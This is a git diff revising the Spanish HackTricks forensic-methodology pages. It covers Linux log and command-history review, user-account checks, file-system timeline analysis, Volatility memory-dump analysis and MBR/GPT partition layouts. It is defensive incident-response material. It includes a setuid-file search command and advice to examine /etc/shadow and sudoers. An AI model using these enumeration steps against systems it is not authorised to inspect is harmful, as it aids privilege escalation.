**/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. +- **/var/log/xferlog**: Registra transferencias de archivos FTP. +- **/var/log/**: Siempre verifica los registros inesperados aquí. {% hint style="info" %} -Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Dado que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que podrían ser una indicación de eliminación o manipulación. +Los registros del sistema y los subsistemas de auditoría de Linux pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos rutinariamente los eliminan. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar lagunas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación. {% endhint %} -### Historial de Comandos +**Linux mantiene un historial de comandos para cada usuario**, almacenado en: -Muchos sistemas Linux están configurados para mantener un historial de comandos para cada cuenta de usuario: +- ~/.bash_history +- ~/.zsh_history +- ~/.zsh_sessions/* +- ~/.python_history +- ~/.*_history -* \~/.bash\_history -* \~/.history -* \~/.sh\_history -* \~/.\*\_history +Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuario. Revísalo en busca de inicios de sesión desconocidos o inesperados. -### Inicios de Sesión +Revisa archivos que puedan otorgar privilegios adicionales: -Usando el comando `last -Faiwx` es posible obtener la lista de usuarios que han iniciado sesión.\ -Se recomienda verificar si esos inicios de sesión tienen sentido: +- Revisa `/etc/sudoers` para privilegios de usuario no anticipados que puedan haber sido otorgados. +- Revisa `/etc/sudoers.d/` para privilegios de usuario no anticipados que puedan haber sido otorgados. +- Examina `/etc/groups` para identificar membresías o permisos de grupo inusuales. +- Examina `/etc/passwd` para identificar membresías o permisos de grupo inusuales. -* ¿Algún usuario desconocido? -* ¿Algún usuario que no debería tener una sesión iniciada? +Algunas aplicaciones también generan sus propios registros: -Esto es importante ya que los **atacantes** a veces pueden copiar `/bin/bash` dentro de `/bin/false` para que usuarios como **lightdm** puedan **iniciar sesión**. - -Tenga en cuenta que también puede **ver esta información leyendo los registros**. - -### Rastros de Aplicaciones - -* **SSH**: Las conexiones a sistemas realizadas mediante SSH desde y hacia un sistema comprometido resultan en entradas en archivos para cada cuenta de usuario (_**∼/.ssh/authorized\_keys**_ y _**∼/.ssh/known\_keys**_). Estas entradas pueden revelar el nombre de host o la dirección IP de los hosts remotos. -* **Escritorio Gnome**: Las cuentas de usuario pueden tener un archivo _**∼/.recently-used.xbel**_ que contiene información sobre archivos que se accedieron recientemente utilizando aplicaciones en ejecución en el escritorio Gnome. -* **VIM**: Las cuentas de usuario pueden tener un archivo _**∼/.viminfo**_ que contiene detalles sobre el uso de VIM, incluida la historia de cadenas de búsqueda y las rutas a archivos que se abrieron con vim. -* **Open Office**: Archivos recientes. -* **MySQL**: Las cuentas de usuario pueden tener un archivo _**∼/.mysql\_history**_ que contiene consultas ejecutadas con MySQL. -* **Less**: Las cuentas de usuario pueden tener un archivo _**∼/.lesshst**_ que contiene detalles sobre el uso de less, incluida la historia de cadenas de búsqueda y los comandos de shell ejecutados a través de less. +- **SSH**: Examina _~/.ssh/authorized_keys_ y _~/.ssh/known_hosts_ para conexiones remotas no autorizadas. +- **Escritorio Gnome**: Revisa _~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome. +- **Firefox/Chrome**: Verifica el historial y descargas del navegador en _~/.mozilla/firefox_ o _~/.config/google-chrome_ en busca de actividades sospechosas. +- **VIM**: Revisa _~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsquedas. +- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos. +- **FTP/SFTP**: Revisa los registros en _~/.ftp_history_ o _~/.sftp_history_ para transferencias de archivos que podrían ser no autorizadas. +- **MySQL**: Investiga _~/.mysql_history_ para consultas de MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos. +- **Less**: Analiza _~/.lesshst_ para historial de uso, incluidos archivos vistos y comandos ejecutados. +- **Git**: Examina _~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios. ### Registros USB [**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB. -Es interesante **saber todos los USB que se han utilizado** y será más útil si tiene una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista). +Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista). ### Instalación -``` +```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` ### Ejemplos -``` +```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user #Search for vid and/or pid usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` -Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) - -
- -\ -Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\ -Accede hoy mismo: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión -Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres o cuentas inusuales creadas y/o utilizadas cerca de eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\ -Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\ -Finalmente, busca cuentas sin contraseñas o con contraseñas **fáciles de adivinar**. +Examine los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifique posibles ataques de fuerza bruta sudo.\ +Además, revise archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\ +Finalmente, busque cuentas sin contraseñas o contraseñas **fáciles de adivinar**. ## Examinar el Sistema de Archivos -Las estructuras de datos del sistema de archivos pueden proporcionar cantidades sustanciales de **información** relacionada con un incidente de **malware**, incluyendo la **temporalidad** de los eventos y el **contenido** real del **malware**.\ -El **malware** está siendo diseñado cada vez más para **evitar el análisis del sistema de archivos**. Algunos malware alteran las marcas de fecha y hora en archivos maliciosos para hacer más difícil encontrarlos con el análisis de líneas de tiempo. Otros códigos maliciosos están diseñados para almacenar solo cierta información en la memoria para minimizar la cantidad de datos almacenados en el sistema de archivos.\ -Para lidiar con tales técnicas antiforense, es necesario prestar **atención cuidadosa al análisis de líneas de tiempo** de las marcas de fecha y hora del sistema de archivos y a los archivos almacenados en ubicaciones comunes donde podría encontrarse malware. +### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware -* Con **autopsy** puedes ver la línea de tiempo de eventos que pueden ser útiles para descubrir actividad sospechosa. También puedes utilizar la función `mactime` de **Sleuth Kit** directamente. -* Verifica la presencia de **scripts inesperados** dentro de **$PATH** (¿quizás algunos scripts sh o php?) -* Los archivos en `/dev` solían ser archivos especiales, puedes encontrar archivos no especiales aquí relacionados con malware. -* Busca archivos y **directorios inusuales** o **ocultos**, como ".. " (punto punto espacio) o "..^G " (punto punto control-G) -* Copias setuid de /bin/bash en el sistema `find / -user root -perm -04000 –print` -* Revisa las marcas de fecha y hora de los **inodos eliminados para grandes cantidades de archivos eliminados alrededor del mismo tiempo**, lo que podría indicar actividad maliciosa como la instalación de un rootkit o un servicio troyanizado. -* Debido a que los inodos se asignan en función del siguiente disponible, **los archivos maliciosos colocados en el sistema aproximadamente al mismo tiempo pueden tener inodos consecutivos**. Por lo tanto, después de localizar un componente de malware, puede ser productivo inspeccionar los inodos vecinos. -* También verifica directorios como _/bin_ o _/sbin_ ya que la **hora de modificación y/o cambio** de archivos nuevos o modificados puede ser interesante. -* Es interesante ver los archivos y carpetas de un directorio **ordenados por fecha de creación** en lugar de alfabéticamente para ver qué archivos o carpetas son más recientes (los últimos suelen ser los más interesantes). +Cuando se investigan incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. -Puedes verificar los archivos más recientes de una carpeta usando `ls -laR --sort=time /bin`\ -Puedes verificar los inodos de los archivos dentro de una carpeta usando `ls -lai /bin |sort -n` +Para contrarrestar estos métodos antiforense, es esencial: +- **Realizar un análisis detallado de la línea de tiempo** utilizando herramientas como **Autopsy** para visualizar las líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para obtener datos detallados de la línea de tiempo. +- **Investigar scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes. +- **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede contener archivos relacionados con malware. +- **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso. +- **Identificar archivos setuid root** utilizando el comando: +```find / -user root -perm -04000 -print``` +Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes. +- **Revisar las marcas de tiempo de eliminación** en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos. +- **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos. +- **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que podrían ser alterados por malware. +```bash +# List recent files in a directory: +ls -laR --sort=time /bin``` + +# Sort files in a directory by inode: +ls -lai /bin | sort -n``` +``` {% hint style="info" %} -Ten en cuenta que un **atacante** puede **modificar la **hora** para que los **archivos aparezcan** **legítimos**, pero no puede modificar el **inodo**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inodo** es **inesperadamente más grande**, entonces las **marcas de tiempo de ese archivo fueron modificadas**. +Ten en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inode**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**. {% endhint %} -## Comparar archivos de diferentes versiones del sistema de archivos +## Comparar archivos de diferentes versiones de sistemas de archivos -#### Encontrar archivos añadidos +### Resumen de la Comparación de Versiones del Sistema de Archivos + +Para comparar versiones de sistemas de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`: + +- **Para encontrar archivos nuevos**, compara dos directorios: ```bash -git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ +git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` -#### Encontrar contenido modificado +- **Para contenido modificado**, enumere los cambios ignorando líneas específicas: ```bash -git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" +git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` -#### Encontrar archivos eliminados +- **Para detectar archivos eliminados**: ```bash -git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ +git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` -#### Otros filtros - -**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** - -Selecciona solo archivos que han sido Agregados (`A`), Copiados (`C`), Borrados (`D`), Modificados (`M`), Renombrados (`R`), y han tenido su tipo (es decir, archivo regular, enlace simbólico, submódulo, …​) cambiado (`T`), están sin fusionar (`U`), son Desconocidos (`X`), o han tenido su emparejamiento Roto (`B`). Se puede utilizar cualquier combinación de los caracteres de filtro (incluyendo ninguno). Cuando se agrega `*` (Todo o nada) a la combinación, se seleccionan todos los caminos si hay algún archivo que coincida con otros criterios en la comparación; si no hay ningún archivo que coincida con otros criterios, no se selecciona nada. - -Además, **estas letras mayúsculas pueden convertirse en minúsculas para excluir**. Por ejemplo, `--diff-filter=ad` excluye los caminos agregados y borrados. - -Tenga en cuenta que no todas las diferencias pueden presentar todos los tipos. Por ejemplo, las diferencias desde el índice al árbol de trabajo nunca pueden tener entradas Agregadas (porque el conjunto de caminos incluidos en la diferencia está limitado por lo que está en el índice). De manera similar, las entradas copiadas y renombradas no pueden aparecer si la detección de esos tipos está deshabilitada. +- **Opciones de filtro** (`--diff-filter`) ayudan a reducir los cambios específicos como archivos añadidos (`A`), eliminados (`D`), o modificados (`M`). +- `A`: Archivos añadidos +- `C`: Archivos copiados +- `D`: Archivos eliminados +- `M`: Archivos modificados +- `R`: Archivos renombrados +- `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico) +- `U`: Archivos no fusionados +- `X`: Archivos desconocidos +- `B`: Archivos rotos ## Referencias * [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) * [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) +* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) +* **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
@@ -414,9 +413,9 @@ Tenga en cuenta que no todas las diferencias pueden presentar todos los tipos. P ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md index a50dc5575..16016c2c3 100644 --- a/forensics/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/forensics/basic-forensic-methodology/memory-dump-analysis/README.md @@ -2,42 +2,43 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Comparte tus trucos de hacking enviando PR a los repositorios [hacktricks](https://github.com/carlospolop/hacktricks) y [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro hirviente para los profesionales de la tecnología y la ciberseguridad en todas las disciplinas. +[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas. {% embed url="https://www.rootedcon.com/" %} -## Comenzar +## Comienzo -Comience **buscando** **malware** dentro del archivo pcap. Use las **herramientas** mencionadas en [**Análisis de malware**](../malware-analysis.md). +Comienza **buscando** **malware** dentro del pcap. Utiliza las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md). ## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) -El marco de código abierto líder para el análisis de volcado de memoria es [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md). Volatility es un script de Python para analizar volcados de memoria que se recopilaron con una herramienta externa (o una imagen de memoria de VMware recopilada al pausar la VM). Por lo tanto, dado el archivo de volcado de memoria y el "perfil" relevante (el sistema operativo desde el que se recopiló el volcado), Volatility puede comenzar a identificar las estructuras en los datos: procesos en ejecución, contraseñas, etc. También es extensible mediante plugins para extraer varios tipos de artefactos.\ -De: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) +**Volatility es el principal marco de código abierto para el análisis de volcados de memoria**. Esta herramienta en Python analiza volcados de fuentes externas o máquinas virtuales VMware, identificando datos como procesos y contraseñas basados en el perfil del sistema operativo del volcado. Es extensible con complementos, lo que lo hace altamente versátil para investigaciones forenses. -## Informe de fallo de volcado mínimo +**[Encuentra aquí una hoja de trucos](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** -Cuando el volcado es pequeño (solo algunos KB, tal vez algunos MB), entonces probablemente sea un informe de fallo de volcado mínimo y no un volcado de memoria. +## Informe de fallo de volcado mini + +Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de volcado mini y no un volcado de memoria. ![](<../../../.gitbook/assets/image (216).png>) -Si tiene Visual Studio instalado, puede abrir este archivo y vincular información básica como el nombre del proceso, la arquitectura, la información de excepción y los módulos que se están ejecutando: +Si tienes Visual Studio instalado, puedes abrir este archivo y vincular alguna información básica como el nombre del proceso, arquitectura, información de excepción y módulos en ejecución: ![](<../../../.gitbook/assets/image (217).png>) -También puede cargar la excepción y ver las instrucciones descompiladas +También puedes cargar la excepción y ver las instrucciones descompiladas ![](<../../../.gitbook/assets/image (219).png>) @@ -45,4 +46,22 @@ También puede cargar la excepción y ver las instrucciones descompiladas De todos modos, Visual Studio no es la mejor herramienta para realizar un análisis en profundidad del volcado. -Debe **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profundidad**. +Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profundidad**. + +
+ +[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de tecnología y ciberseguridad en todas las disciplinas. + +{% embed url="https://www.rootedcon.com/" %} + +
+ +☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 9830a0a47..1626debea 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -21,49 +21,49 @@ Otras formas de apoyar a HackTricks: Un disco duro o un **disco SSD puede contener diferentes particiones** con el objetivo de separar físicamente los datos.\ La unidad **mínima** de un disco es el **sector** (normalmente compuesto por 512B). Por lo tanto, el tamaño de cada partición debe ser múltiplo de ese tamaño. -### MBR (Registro de Arranque Principal) +### MBR (Registro de Arranque Maestro) Se encuentra en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y desde dónde se debe montar una partición.\ -Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**de arranque**). Sin embargo, si se necesitan más particiones se pueden usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\ +Permite hasta **4 particiones** (como máximo **solo 1** puede ser activa/**arrancable**). Sin embargo, si se necesitan más particiones se pueden usar **particiones extendidas**. El **último byte** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede estar marcada como activa.\ MBR permite **máximo 2.2TB**. ![](<../../../.gitbook/assets/image (489).png>) ![](<../../../.gitbook/assets/image (490).png>) -Desde los **bytes 440 a 443** del MBR se puede encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Desde los **bytes 440 al 443** del MBR se puede encontrar la **Firma del Disco de Windows** (si se usa Windows). La letra de unidad lógica del disco duro depende de la Firma del Disco de Windows. Cambiar esta firma podría evitar que Windows se inicie (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../.gitbook/assets/image (493).png>) **Formato** -| Offset | Longitud | Elemento | -| ----------- | ---------- | ------------------- | -| 0 (0x00) | 446(0x1BE) | Código de arranque | -| 446 (0x1BE) | 16 (0x10) | Primera Partición | -| 462 (0x1CE) | 16 (0x10) | Segunda Partición | -| 478 (0x1DE) | 16 (0x10) | Tercera Partición | -| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | +| Offset | Longitud | Elemento | +| ----------- | ----------- | ------------------- | +| 0 (0x00) | 446(0x1BE) | Código de Arranque | +| 446 (0x1BE) | 16 (0x10) | Primera Partición | +| 462 (0x1CE) | 16 (0x10) | Segunda Partición | +| 478 (0x1DE) | 16 (0x10) | Tercera Partición | +| 494 (0x1EE) | 16 (0x10) | Cuarta Partición | | 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA | **Formato del Registro de Partición** -| Offset | Longitud | Elemento | -| --------- | -------- | --------------------------------------------------------- | -| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = de arranque) | -| 1 (0x01) | 1 (0x01) | Cabeza de inicio | -| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) | -| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio | -| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | Cabeza final | -| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) | -| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro final | -| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) | -| 12 (0x0C) | 4 (0x04) | Sectores en la partición | +| Offset | Longitud | Elemento | +| --------- | --------- | ---------------------------------------------------------- | +| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) | +| 1 (0x01) | 1 (0x01) | Cabeza de inicio | +| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6- 7) | +| 3 (0x03) | 1 (0x01) | Bits más bajos del cilindro de inicio | +| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | Cabeza final | +| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6- 7) | +| 7 (0x07) | 1 (0x01) | Bits más bajos del cilindro final | +| 8 (0x08) | 4 (0x04) | Sectores previos a la partición (poco endian) | +| 12 (0x0C) | 4 (0x04) | Sectores en la partición | Para montar un MBR en Linux primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`) -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>) Y luego usar el siguiente código ```bash @@ -78,28 +78,33 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ### GPT (Tabla de particiones GUID) -Se llama Tabla de Particiones GUID porque cada partición en su disco tiene un **identificador único global**. +La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de Arranque Principal). Distintiva por su **identificador único global** para particiones, GPT se destaca de varias maneras: -Al igual que MBR, comienza en el **sector 0**. El MBR ocupa 32 bits mientras que **GPT** utiliza **64 bits**.\ -GPT **permite hasta 128 particiones** en Windows y hasta **9.4ZB**.\ -Además, las particiones pueden tener un nombre Unicode de 36 caracteres. +- **Ubicación y Tamaño**: Tanto GPT como MBR comienzan en el **sector 0**. Sin embargo, GPT opera en **64 bits**, a diferencia de los 32 bits de MBR. +- **Límites de Partición**: GPT admite hasta **128 particiones** en sistemas Windows y puede alojar hasta **9.4ZB** de datos. +- **Nombres de Partición**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode. -En un disco MBR, la partición y los datos de arranque se almacenan en un solo lugar. Si estos datos se sobrescriben o se corrompen, tendrás problemas. En contraste, **GPT almacena múltiples copias de estos datos en todo el disco**, por lo que es mucho más robusto y puede recuperarse si los datos se corrompen. +**Resiliencia y Recuperación de Datos**: -GPT también almacena valores de **verificación de redundancia cíclica (CRC)** para verificar que sus datos estén intactos. Si los datos se corrompen, GPT puede detectar el problema e **intentar recuperar los datos dañados** desde otra ubicación en el disco. +- **Redundancia**: A diferencia de MBR, GPT no limita la partición y 